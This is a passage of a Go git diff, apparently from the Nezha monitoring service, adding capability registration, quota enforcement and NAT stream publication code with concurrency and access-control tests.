handler.ConsumeAgentCompatNATCapabilityForProfile(capability.String(), 83, 93) + require.True(t, errors.Is(err, ErrAgentCompatCapabilityHidden)) + activeAfterRepeat, usedAfterRepeat := agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, activeAfter, activeAfterRepeat) + require.Equal(t, usedAfter, usedAfterRepeat) + + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(AgentCompatCapabilityAccess{})) +} + +func TestAgentCompatNATCapabilityForProfileHidesCancelledAndUnregistered(t *testing.T) { + tests := []struct { + name string + cleanup func(*NezhaHandler, AgentCompatCapabilityAccess) error + }{ + {name: "cancelled", cleanup: (*NezhaHandler).CancelAgentCompatIOStreamCapability}, + {name: "unregistered", cleanup: (*NezhaHandler).UnregisterAgentCompatIOStreamCapability}, + } + for _, testCase := range tests { + t.Run(testCase.name, func(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 64, 74, 84, 94) + access := capabilityAccess(capability, registration) + require.NoError(t, testCase.cleanup(handler, access)) + + _, _, err := handler.ConsumeAgentCompatNATCapabilityForProfile(capability.String(), 84, 94) + require.True(t, errors.Is(err, ErrAgentCompatCapabilityHidden)) + }) + } +} + +func TestAgentCompatNATCapabilityForProfileDoesNotLeakSensitiveValues(t *testing.T) { + handler, registration, capability := natCapabilityFixture(t, 65, 75, 85, 95) + _, _, err := handler.ConsumeAgentCompatNATCapabilityForProfile(capability.String(), 86, 95) + require.Error(t, err) + message := err.Error() + for _, sensitive := range []string{capability.String(), "65", "75", "85", "95", "nat"} { + require.NotContains(t, message, sensitive) + } + require.Equal(t, AgentCompatCapabilityNAT, registration.Purpose) +} diff --git a/service/rpc/io_stream_capability_publication_agentcompat.go b/service/rpc/io_stream_capability_publication_agentcompat.go new file mode 100644 index 00000000..39880b7e --- /dev/null +++ b/service/rpc/io_stream_capability_publication_agentcompat.go @@ -0,0 +1,66 @@ +//go:build agentcompat + +package rpc + +import ( + "errors" + "time" +) + +func (s *NezhaHandler) CreateAgentCompatNATStream(handle AgentCompatNATPublishHandle, streamID string) (*AgentCompatNATStreamLease, error) { + s.ioStreamMutex.Lock() + defer s.ioStreamMutex.Unlock() + registration := handle.registration + if registration == nil || registration.generation != handle.generation { + return nil, ErrAgentCompatCapabilityHidden + } + currentRegistration, active := s.agentCompatCapabilities.active[handle.capability] + stored := registration.registration + if !active || currentRegistration != registration || registration.phase != agentCompatCapabilityConsumed || + stored.Purpose != AgentCompatCapabilityNAT || registration.stream != nil || streamID == "" { + return nil, ErrAgentCompatCapabilityHidden + } + if err := s.createStreamLocked(streamID, 0, stored.TargetServerID, PurposeNAT); err != nil { + if err == ErrStreamAlreadyExists { + return nil, ErrAgentCompatCapabilityHidden + } + return nil, err + } + stream := s.ioStreams[streamID] + registration.streamID = streamID + registration.stream = stream + return &AgentCompatNATStreamLease{streamID: streamID, stream: stream}, nil +} + +func (s *NezhaHandler) CloseAgentCompatNATStreamLease(lease *AgentCompatNATStreamLease) error { + if lease == nil { + return nil + } + return s.detachExactStream(lease.streamID, lease.stream) +} + +func (s *NezhaHandler) StartAgentCompatNATStream(handle AgentCompatNATPublishHandle, timeout time.Duration) (bool, error) { + s.ioStreamMutex.RLock() + registration := handle.registration + publicationOwned := registration != nil && registration.generation == handle.generation && + registration.phase == agentCompatCapabilityPublished && registration.streamID != "" && registration.stream != nil + if registration == nil || registration.generation != handle.generation { + s.ioStreamMutex.RUnlock() + return publicationOwned, ErrAgentCompatCapabilityHidden + } + current, active := s.agentCompatCapabilities.active[handle.capability] + stored := registration.registration + streamID := registration.streamID + stream := registration.stream + valid := active && current == registration && registration.phase == agentCompatCapabilityPublished && + streamID != "" && stream != nil && s.ioStreams[streamID] == stream && + stream.creatorUserID == 0 && stream.targetServerID == stored.TargetServerID && + stream.purpose == PurposeNAT && stored.Purpose == AgentCompatCapabilityNAT + s.ioStreamMutex.RUnlock() + if !valid { + return publicationOwned, ErrAgentCompatCapabilityHidden + } + startErr := s.startStreamContext(streamID, stream, timeout) + closeErr := s.detachExactStream(streamID, stream) + return publicationOwned, errors.Join(startErr, closeErr) +} diff --git a/service/rpc/io_stream_capability_publication_default.go b/service/rpc/io_stream_capability_publication_default.go new file mode 100644 index 00000000..26ad82de --- /dev/null +++ b/service/rpc/io_stream_capability_publication_default.go @@ -0,0 +1,9 @@ +//go:build !agentcompat + +package rpc + +import "time" + +func (*NezhaHandler) StartAgentCompatNATStream(AgentCompatNATPublishHandle, time.Duration) (bool, error) { + return false, ErrAgentCompatCapabilityUnavailable +} diff --git a/service/rpc/io_stream_capability_quota_accounting_agentcompat_test.go b/service/rpc/io_stream_capability_quota_accounting_agentcompat_test.go new file mode 100644 index 00000000..6573b714 --- /dev/null +++ b/service/rpc/io_stream_capability_quota_accounting_agentcompat_test.go @@ -0,0 +1,230 @@ +//go:build agentcompat + +package rpc + +import ( + "errors" + "sync" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestAgentCompatCapabilityConcurrentRegistrationEnforcesExactPerPATQuota(t *testing.T) { + handler := NewNezhaHandler() + setUniqueAgentCompatCapabilityTokens(handler) + registration := capabilityRegistration(capabilityOwner(104, 204), AgentCompatCapabilityTerminal, 305, 0) + start := make(chan struct{}) + results := make(chan error, 64) + var waitGroup sync.WaitGroup + waitGroup.Add(64) + for range 64 { + go func() { + defer waitGroup.Done() + <-start + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + results <- err + }() + } + close(start) + waitGroup.Wait() + close(results) + + succeeded, unavailable := 0, 0 + for err := range results { + switch { + case err == nil: + succeeded++ + case errors.Is(err, ErrAgentCompatCapabilityUnavailable): + unavailable++ + default: + t.Fatalf("unexpected registration error: %v", err) + } + } + require.Equal(t, 16, succeeded) + require.Equal(t, 48, unavailable) + active, used := agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, 16, active) + require.Equal(t, 16, used) +} + +func TestAgentCompatCapabilityConcurrentRegistrationEnforcesExactGlobalQuota(t *testing.T) { + handler := NewNezhaHandler() + setUniqueAgentCompatCapabilityTokens(handler) + start := make(chan struct{}) + results := make(chan error, 256) + var waitGroup sync.WaitGroup + waitGroup.Add(256) + for index := range 256 { + go func() { + defer waitGroup.Done() + <-start + registration := capabilityRegistration(capabilityOwner(uint64(index+1), uint64(index+1001)), AgentCompatCapabilityTerminal, 306, 0) + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + results <- err + }() + } + close(start) + waitGroup.Wait() + close(results) + + succeeded, unavailable := 0, 0 + for err := range results { + if err == nil { + succeeded++ + continue + } + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + unavailable++ + } + require.Equal(t, 128, succeeded) + require.Equal(t, 128, unavailable) + active, used := agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, 128, active) + require.Equal(t, 128, used) +} + +func TestAgentCompatCapabilityConcurrentRegistrationEnforcesExactProcessMintQuota(t *testing.T) { + handler := NewNezhaHandler() + setUniqueAgentCompatCapabilityTokens(handler) + handler.ioStreamMutex.Lock() + for index := range agentCompatCapabilityMaxProcessMints - 1 { + handler.agentCompatCapabilities.used[string(rune(index+1))] = struct{}{} + } + handler.ioStreamMutex.Unlock() + start := make(chan struct{}) + results := make(chan error, 2) + var waitGroup sync.WaitGroup + waitGroup.Add(2) + for index := range 2 { + go func() { + defer waitGroup.Done() + <-start + registration := capabilityRegistration(capabilityOwner(uint64(index+201), uint64(index+301)), AgentCompatCapabilityTerminal, 312, 0) + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + results <- err + }() + } + close(start) + waitGroup.Wait() + close(results) + + succeeded, unavailable := 0, 0 + for err := range results { + if err == nil { + succeeded++ + continue + } + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + unavailable++ + } + require.Equal(t, 1, succeeded) + require.Equal(t, 1, unavailable) + active, used := agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, 1, active) + require.Equal(t, agentCompatCapabilityMaxProcessMints, used) +} + +func TestAgentCompatCapabilityRemovalRequiresExactActiveRegistration(t *testing.T) { + handler := NewNezhaHandler() + setUniqueAgentCompatCapabilityTokens(handler) + registration := capabilityRegistration(capabilityOwner(105, 205), AgentCompatCapabilityTerminal, 307, 0) + capability := registerAgentCompatCapability(t, handler, registration) + handler.ioStreamMutex.Lock() + activeRegistration := handler.agentCompatCapabilities.active[capability.value] + staleRegistration := &agentCompatCapabilityRegistration{registration: registration, notify: make(chan struct{})} + handler.removeAgentCompatCapabilityLocked(capability.value, staleRegistration) + handler.ioStreamMutex.Unlock() + for range 15 { + registerAgentCompatCapability(t, handler, registration) + } + + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + active, used := agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, 16, active) + require.Equal(t, 16, used) + + handler.ioStreamMutex.Lock() + handler.removeAgentCompatCapabilityLocked(capability.value, activeRegistration) + handler.removeAgentCompatCapabilityLocked(capability.value, activeRegistration) + handler.ioStreamMutex.Unlock() + + replacement := registerAgentCompatCapability(t, handler, registration) + require.NotEmpty(t, replacement.String()) + active, used = agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, 16, active) + require.Equal(t, 17, used) +} + +func TestAgentCompatCapabilityForeignRemovalDoesNotReleasePerPATQuota(t *testing.T) { + handler := NewNezhaHandler() + setUniqueAgentCompatCapabilityTokens(handler) + registration := capabilityRegistration(capabilityOwner(106, 206), AgentCompatCapabilityTerminal, 308, 0) + capability := registerAgentCompatCapability(t, handler, registration) + for range 15 { + registerAgentCompatCapability(t, handler, registration) + } + foreign := capabilityAccess(capability, registration) + foreign.Owner.PATID++ + + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(foreign)) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(foreign)) + require.NoError(t, handler.CancelAgentCompatIOStreamCapability(AgentCompatCapabilityAccess{})) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(AgentCompatCapabilityAccess{})) + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + active, used := agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, 16, active) + require.Equal(t, 16, used) +} + +func TestAgentCompatCapabilityCancelReleasesQuotaBeforeEndpointCloseFailure(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "quota-close-failure", 309) + setUniqueAgentCompatCapabilityTokens(handler) + closeErr := errors.New("endpoint close failed") + endpoint := &capabilityCloseEndpoint{handler: handler, streamID: "quota-close-failure", err: closeErr} + require.NoError(t, handler.AgentConnected("quota-close-failure", endpoint)) + for range 15 { + registerAgentCompatCapability(t, handler, registration) + } + + err := handler.CancelAgentCompatIOStreamCapability(capabilityAccess(capability, registration)) + + require.ErrorIs(t, err, closeErr) + replacement := registerAgentCompatCapability(t, handler, registration) + require.NotEmpty(t, replacement.String()) + activeForPAT, exists := agentCompatCapabilityActiveForPAT(handler, registration.Owner.PATID) + require.True(t, exists) + require.Equal(t, uint16(16), activeForPAT) +} + +func TestAgentCompatCapabilityBoundUnregisterConflictRetainsQuota(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "quota-bound-conflict", 310) + setUniqueAgentCompatCapabilityTokens(handler) + for range 15 { + registerAgentCompatCapability(t, handler, registration) + } + + err := handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration)) + _, registerErr := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + + require.ErrorIs(t, err, ErrAgentCompatCapabilityBound) + require.ErrorIs(t, registerErr, ErrAgentCompatCapabilityUnavailable) + activeForPAT, exists := agentCompatCapabilityActiveForPAT(handler, registration.Owner.PATID) + require.True(t, exists) + require.Equal(t, uint16(16), activeForPAT) +} + +func TestAgentCompatCapabilityLastRemovalDeletesPerPATAccountingEntry(t *testing.T) { + handler := NewNezhaHandler() + setUniqueAgentCompatCapabilityTokens(handler) + registration := capabilityRegistration(capabilityOwner(107, 207), AgentCompatCapabilityTerminal, 311, 0) + capability := registerAgentCompatCapability(t, handler, registration) + + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + + activeForPAT, exists := agentCompatCapabilityActiveForPAT(handler, registration.Owner.PATID) + require.False(t, exists) + require.Zero(t, activeForPAT) +} diff --git a/service/rpc/io_stream_capability_quota_boundaries_agentcompat_test.go b/service/rpc/io_stream_capability_quota_boundaries_agentcompat_test.go new file mode 100644 index 00000000..1d1c13e8 --- /dev/null +++ b/service/rpc/io_stream_capability_quota_boundaries_agentcompat_test.go @@ -0,0 +1,94 @@ +//go:build agentcompat + +package rpc + +import ( + "errors" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestAgentCompatCapabilityRegistrationEnforcesPerPATActiveQuotaAndReusesReleasedSlot(t *testing.T) { + handler := NewNezhaHandler() + issued := setUniqueAgentCompatCapabilityTokens(handler) + registration := capabilityRegistration(capabilityOwner(101, 201), AgentCompatCapabilityTerminal, 301, 0) + capabilities := make([]AgentCompatIOStreamCapability, 0, 16) + for range 16 { + capabilities = append(capabilities, registerAgentCompatCapability(t, handler, registration)) + } + + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + require.Equal(t, uint64(16), issued.Load()) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capabilities[0], registration))) + + replacement := registerAgentCompatCapability(t, handler, registration) + require.NotEmpty(t, replacement.String()) + active, used := agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, 16, active) + require.Equal(t, 17, used) +} + +func TestAgentCompatCapabilityRegistrationEnforcesGlobalActiveQuotaAndReusesReleasedSlot(t *testing.T) { + handler := NewNezhaHandler() + issued := setUniqueAgentCompatCapabilityTokens(handler) + registrations := make([]AgentCompatCapabilityRegistration, 0, 128) + capabilities := make([]AgentCompatIOStreamCapability, 0, 128) + for index := range 128 { + registration := capabilityRegistration(capabilityOwner(uint64(index+1), uint64(index+1001)), AgentCompatCapabilityTerminal, 302, 0) + registrations = append(registrations, registration) + capabilities = append(capabilities, registerAgentCompatCapability(t, handler, registration)) + } + overflow := capabilityRegistration(capabilityOwner(10000, 20000), AgentCompatCapabilityTerminal, 302, 0) + + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), overflow) + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + require.Equal(t, uint64(128), issued.Load()) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capabilities[0], registrations[0]))) + + replacement := registerAgentCompatCapability(t, handler, overflow) + require.NotEmpty(t, replacement.String()) + active, used := agentCompatCapabilityRegistryCounts(handler) + require.Equal(t, 128, active) + require.Equal(t, 129, used) +} + +func TestAgentCompatCapabilityRegistrationEnforcesProcessLifetimeMintQuota(t *testing.T) { + handler := NewNezhaHandler() + issued := setUniqueAgentCompatCapabilityTokens(handler) + registration := capabilityRegistration(capabilityOwner(102, 202), AgentCompatCapabilityTerminal, 303, 0) + for range 4096 { + capability := registerAgentCompatCapability(t, handler, registration) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(capability, registration))) + } + + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + + require.ErrorIs(t, err, ErrAgentCompatCapabilityUnavailable) + require.Equal(t, uint64(4096), issued.Load()) + active, used := agentCompatCapabilityRegistryCounts(handler) + require.Zero(t, active) + require.Equal(t, 4096, used) +} + +func TestAgentCompatCapabilityCollisionRetriesDoNotConsumeQuota(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(103, 203), AgentCompatCapabilityTerminal, 304, 0) + fixedToken := make([]byte, 32) + fixedToken[0] = 1 + handler.setAgentCompatCapabilityTokenSourceForTest(func(destination []byte) error { + copy(destination, fixedToken) + return nil + }) + first := registerAgentCompatCapability(t, handler, registration) + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(capabilityAccess(first, registration))) + + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + + require.ErrorIs(t, err, ErrAgentCompatCapabilityTokenExhausted) + active, used := agentCompatCapabilityRegistryCounts(handler) + require.Zero(t, active) + require.Equal(t, 1, used) + require.False(t, errors.Is(err, ErrAgentCompatCapabilityUnavailable)) +} diff --git a/service/rpc/io_stream_capability_quota_test_helpers_agentcompat_test.go b/service/rpc/io_stream_capability_quota_test_helpers_agentcompat_test.go new file mode 100644 index 00000000..398ba01f --- /dev/null +++ b/service/rpc/io_stream_capability_quota_test_helpers_agentcompat_test.go @@ -0,0 +1,40 @@ +//go:build agentcompat + +package rpc + +import ( + "encoding/binary" + "sync/atomic" + "testing" + + "github.com/stretchr/testify/require" +) + +func setUniqueAgentCompatCapabilityTokens(handler *NezhaHandler) *atomic.Uint64 { + var issued atomic.Uint64 + handler.setAgentCompatCapabilityTokenSourceForTest(func(destination []byte) error { + binary.LittleEndian.PutUint64(destination, issued.Add(1)) + return nil + }) + return &issued +} + +func registerAgentCompatCapability(t *testing.T, handler *NezhaHandler, registration AgentCompatCapabilityRegistration) AgentCompatIOStreamCapability { + t.Helper() + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + return capability +} + +func agentCompatCapabilityRegistryCounts(handler *NezhaHandler) (active, used int) { + handler.ioStreamMutex.RLock() + defer handler.ioStreamMutex.RUnlock() + return len(handler.agentCompatCapabilities.active), len(handler.agentCompatCapabilities.used) +} + +func agentCompatCapabilityActiveForPAT(handler *NezhaHandler, patID uint64) (uint16, bool) { + handler.ioStreamMutex.RLock() + defer handler.ioStreamMutex.RUnlock() + active, exists := handler.agentCompatCapabilities.activeByPAT[patID] + return active, exists +} diff --git a/service/rpc/io_stream_capability_register_agentcompat.go b/service/rpc/io_stream_capability_register_agentcompat.go new file mode 100644 index 00000000..f92e6034 --- /dev/null +++ b/service/rpc/io_stream_capability_register_agentcompat.go @@ -0,0 +1,96 @@ +//go:build agentcompat + +package rpc + +import ( + "context" + "encoding/base64" +) + +const agentCompatCapabilityTokenAttempts = 32 + +func validAgentCompatRegistration(registration AgentCompatCapabilityRegistration) bool { + if !registration.ServerAccessAllowed || registration.Owner.PATID == 0 || registration.Owner.UserID == 0 || registration.TargetServerID == 0 { + return false + } + switch registration.Purpose { + case AgentCompatCapabilityTerminal, AgentCompatCapabilityFileManager: + return registration.ResourceID == 0 + case AgentCompatCapabilityNAT: + return registration.ResourceID != 0 + default: + return false + } +} + +func (s *NezhaHandler) RegisterAgentCompatIOStreamCapability(ctx context.Context, registration AgentCompatCapabilityRegistration) (AgentCompatIOStreamCapability, error) { + if !validAgentCompatRegistration(registration) { + return AgentCompatIOStreamCapability{}, ErrAgentCompatCapabilityHidden + } + if err := ctx.Err(); err != nil { + return AgentCompatIOStreamCapability{}, err + } + s.ioStreamMutex.RLock() + tokenSource := s.agentCompatCapabilities.tokenSource + quotaAvailable := s.agentCompatCapabilityQuotaAvailableLocked(registration.Owner.PATID) + s.ioStreamMutex.RUnlock() + if !quotaAvailable { + return AgentCompatIOStreamCapability{}, ErrAgentCompatCapabilityUnavailable + } + for range agentCompatCapabilityTokenAttempts { + if err := ctx.Err(); err != nil { + return AgentCompatIOStreamCapability{}, err + } + // Token generation may block or reenter the registry, so it must never run under ioStreamMutex. + raw := make([]byte, 32) + if err := tokenSource(raw); err != nil { + return AgentCompatIOStreamCapability{}, err + } + capability := AgentCompatIOStreamCapability{value: base64.RawURLEncoding.EncodeToString(raw)} + + if err := ctx.Err(); err != nil { + return AgentCompatIOStreamCapability{}, err + } + s.ioStreamMutex.Lock() + // Recheck every quota under the insertion lock so concurrent mints cannot oversubscribe any bound. + if !s.agentCompatCapabilityQuotaAvailableLocked(registration.Owner.PATID) { + s.ioStreamMutex.Unlock() + return AgentCompatIOStreamCapability{}, ErrAgentCompatCapabilityUnavailable + } + if _, used := s.agentCompatCapabilities.used[capability.value]; used { + s.ioStreamMutex.Unlock() + continue + } + s.agentCompatCapabilities.used[capability.value] = struct{}{} + s.agentCompatCapabilities.nextIdentity++ + s.agentCompatCapabilities.activeByPAT[registration.Owner.PATID]++ + s.agentCompatCapabilities.active[capability.value] = &agentCompatCapabilityRegistration{ + registration: registration, phase: agentCompatCapabilityRegistered, + generation: s.agentCompatCapabilities.nextIdentity, notify: make(chan struct{}), + } + s.ioStreamMutex.Unlock() + return capability, nil + } + return AgentCompatIOStreamCapability{}, ErrAgentCompatCapabilityTokenExhausted +} + +func (s *NezhaHandler) agentCompatCapabilityQuotaAvailableLocked(patID uint64) bool { + return s.agentCompatCapabilities.activeByPAT[patID] < agentCompatCapabilityMaxActivePerPAT && + len(s.agentCompatCapabilities.active) < agentCompatCapabilityMaxActiveGlobal && + len(s.agentCompatCapabilities.used) < agentCompatCapabilityMaxProcessMints +} + +func sameAgentCompatOwner(left, right AgentCompatCapabilityOwner) bool { + return left == right +} + +func agentCompatAccessMatches(access AgentCompatCapabilityAccess, registration *agentCompatCapabilityRegistration) bool { + stored := registration.registration + return access.ServerAccessAllowed && sameAgentCompatOwner(access.Owner, stored.Owner) && + access.Purpose == stored.Purpose && access.TargetServerID == stored.TargetServerID && access.ResourceID == stored.ResourceID +} + +func (s *NezhaHandler) agentCompatRegistrationLocked(access AgentCompatCapabilityAccess) (*agentCompatCapabilityRegistration, bool) { + registration, exists := s.agentCompatCapabilities.active[access.Capability.value] + return registration, exists && agentCompatAccessMatches(access, registration) +} diff --git a/service/rpc/io_stream_capability_security_agentcompat_test.go b/service/rpc/io_stream_capability_security_agentcompat_test.go new file mode 100644 index 00000000..bcbe5933 --- /dev/null +++ b/service/rpc/io_stream_capability_security_agentcompat_test.go @@ -0,0 +1,234 @@ +//go:build agentcompat + +package rpc + +import ( + "context" + "errors" + "sync" + "sync/atomic" + "testing" + + "github.com/stretchr/testify/require" +) + +func TestAgentCompatCapabilityRegistrationExhaustsPermanentCollisionWithoutBlockingRegistry(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(31, 41), AgentCompatCapabilityTerminal, 51, 0) + fixedToken := make([]byte, 32) + fixedToken[0] = 1 + handler.setAgentCompatCapabilityTokenSourceForTest(func(destination []byte) error { + copy(destination, fixedToken) + return nil + }) + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + + entered := make(chan struct{}) + release := make(chan struct{}) + releaseCtx := agentCompatCapabilityTestContext(t) + var once sync.Once + handler.setAgentCompatCapabilityTokenSourceForTest(func(destination []byte) error { + once.Do(func() { + close(entered) + select { + case <-release: + case <-releaseCtx.Done(): + } + }) + copy(destination, fixedToken) + return nil + }) + result := make(chan error, 1) + go func() { + _, registerErr := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + result <- registerErr + }() + awaitAgentCompatCapabilitySignal(t, entered, "token source did not enter") + + registryRead := make(chan struct{}) + go func() { + handler.SnapshotIOStreamState() + close(registryRead) + }() + awaitAgentCompatCapabilitySignal(t, registryRead, "token source blocked unrelated registry operation") + close(release) + require.ErrorIs(t, receiveAgentCompatCapabilityError(t, result, "permanent token collision did not terminate"), ErrAgentCompatCapabilityTokenExhausted) +} + +func TestAgentCompatCapabilityRegistrationPreservesCanceledContext(t *testing.T) { + handler := NewNezhaHandler() + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + _, err := handler.RegisterAgentCompatIOStreamCapability(ctx, capabilityRegistration(capabilityOwner(32, 42), AgentCompatCapabilityTerminal, 52, 0)) + + require.ErrorIs(t, err, context.Canceled) +} + +func TestAgentCompatCapabilityTokenSourceCanReenterRegistry(t *testing.T) { + handler := NewNezhaHandler() + handler.setAgentCompatCapabilityTokenSourceForTest(func(destination []byte) error { + handler.SnapshotIOStreamState() + destination[0] = 1 + return nil + }) + result := make(chan error, 1) + go func() { + _, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityRegistration(capabilityOwner(33, 43), AgentCompatCapabilityTerminal, 53, 0)) + result <- err + }() + + require.NoError(t, receiveAgentCompatCapabilityError(t, result, "reentrant token source deadlocked")) +} + +func TestAgentCompatCapabilityWaitObserverCanReenterRegistry(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(34, 44), AgentCompatCapabilityTerminal, 54, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + access := capabilityAccess(capability, registration) + handler.setAgentCompatCapabilityWaitObserverForTest(func() { + require.NoError(t, handler.UnregisterAgentCompatIOStreamCapability(access)) + }) + result := make(chan error, 1) + waitCtx := agentCompatCapabilityTestContext(t) + go func() { + _, waitErr := handler.WaitAgentCompatIOStreamCapability(waitCtx, access) + result <- waitErr + }() + + require.ErrorIs(t, receiveAgentCompatCapabilityError(t, result, "reentrant wait observer deadlocked"), ErrAgentCompatCapabilityHidden) +} + +func TestAgentCompatCapabilityWaitRejectsSameIDReplacement(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, "reused-stream-id", 55) + require.NoError(t, handler.CloseStream("reused-stream-id")) + require.NoError(t, handler.CreateStreamWithPurpose("reused-stream-id", 21, 55, PurposeTerminal)) + + _, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(capability, registration)) + + require.ErrorIs(t, err, ErrAgentCompatCapabilityHidden) +} + +func TestAgentCompatCapabilityCancelAndUnregisterDoNotEnumerateForeignIdentity(t *testing.T) { + operations := []struct { + name string + run func(*NezhaHandler, AgentCompatCapabilityAccess) error + }{ + {name: "cancel", run: (*NezhaHandler).CancelAgentCompatIOStreamCapability}, + {name: "unregister", run: (*NezhaHandler).UnregisterAgentCompatIOStreamCapability}, + } + for _, operation := range operations { + t.Run(operation.name, func(t *testing.T) { + handler, registration, capability := boundCapabilityFixture(t, AgentCompatCapabilityTerminal, operation.name+"-foreign", 56) + foreign := capabilityAccess(capability, registration) + foreign.Owner.PATID++ + before := handler.SnapshotIOStreamState() + + foreignErr := operation.run(handler, foreign) + unknownErr := operation.run(handler, AgentCompatCapabilityAccess{}) + + require.NoError(t, foreignErr) + require.NoError(t, unknownErr) + require.Equal(t, before, handler.SnapshotIOStreamState()) + _, found := handler.StreamOwnership(operation.name + "-foreign") + require.True(t, found) + }) + } +} + +func TestAgentCompatCapabilityAccessMismatchMatrixIsHiddenOrInert(t *testing.T) { + mutations := []struct { + name string + mutate func(*AgentCompatCapabilityAccess) + }{ + {name: "PAT", mutate: func(access *AgentCompatCapabilityAccess) { access.Owner.PATID++ }}, + {name: "user", mutate: func(access *AgentCompatCapabilityAccess) { access.Owner.UserID++ }}, + {name: "admin", mutate: func(access *AgentCompatCapabilityAccess) { access.Owner.IsAdmin = !access.Owner.IsAdmin }}, + {name: "purpose", mutate: func(access *AgentCompatCapabilityAccess) { access.Purpose = AgentCompatCapabilityFileManager }}, + {name: "resource", mutate: func(access *AgentCompatCapabilityAccess) { access.ResourceID++ }}, + {name: "server", mutate: func(access *AgentCompatCapabilityAccess) { access.TargetServerID++ }}, + {name: "access proof", mutate: func(access *AgentCompatCapabilityAccess) { access.ServerAccessAllowed = false }}, + } + for _, mutation := range mutations { + t.Run(mutation.name, func(t *testing.T) { + handler := NewNezhaHandler() + registration := capabilityRegistration(capabilityOwner(35, 45), AgentCompatCapabilityTerminal, 57, 0) + capability, err := handler.RegisterAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), registration) + require.NoError(t, err) + require.NoError(t, handler.CreateStreamWithPurpose("matrix", 45, 57, PurposeTerminal)) + access := capabilityAccess(capability, registration) + mutation.mutate(&access) + + _, waitErr := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), access) + bindErr := handler.BindAgentCompatIOStreamCapability(AgentCompatCapabilityBinding{AgentCompatCapabilityAccess: access, StreamID: "matrix"}) + cancelErr := handler.CancelAgentCompatIOStreamCapability(access) + unregisterErr := handler.UnregisterAgentCompatIOStreamCapability(access) + + require.ErrorIs(t, waitErr, ErrAgentCompatCapabilityHidden) + require.ErrorIs(t, bindErr, ErrAgentCompatCapabilityHidden) + require.NoError(t, cancelErr) + require.NoError(t, unregisterErr) + require.NoError(t, handler.BindAgentCompatIOStreamCapability(AgentCompatCapabilityBinding{ + AgentCompatCapabilityAccess: capabilityAccess(capability, registration), StreamID: "matrix", + })) + streamID, err := handler.WaitAgentCompatIOStreamCapability(agentCompatCapabilityTestContext(t), capabilityAccess(capability, registration)) + require.NoError(t, err) + require.Equal(t, "matrix", streamID) + }) + } +} + +func TestAgentCompatNATCapabilityConsumeMismatchMatrixIsHidden(t *testing.T) { + mutations := []struct { + name string + mutate func(*AgentCompatCapabilityAccess) + }{ + {name: "PAT", mutate: func(access *AgentCompatCapabilityAccess) { access.Owner.PATID++ }}, + {name: "user", mutate: func(access *AgentCompatCapabilityAccess) { access.Owner.UserID++ }}, + {name: "admin", mutate: func(access *AgentCompatCapabilityAccess) { access.Owner.IsAdmin = !access.Owner.IsAdmin }}, + {name: "purpose", mutate: func(access *AgentCompatCapabilityAccess) { access.Purpose = AgentCompatCapabilityTerminal }}, + {name: "resource", mutate: func(access *AgentCompatCapabilityAccess) { 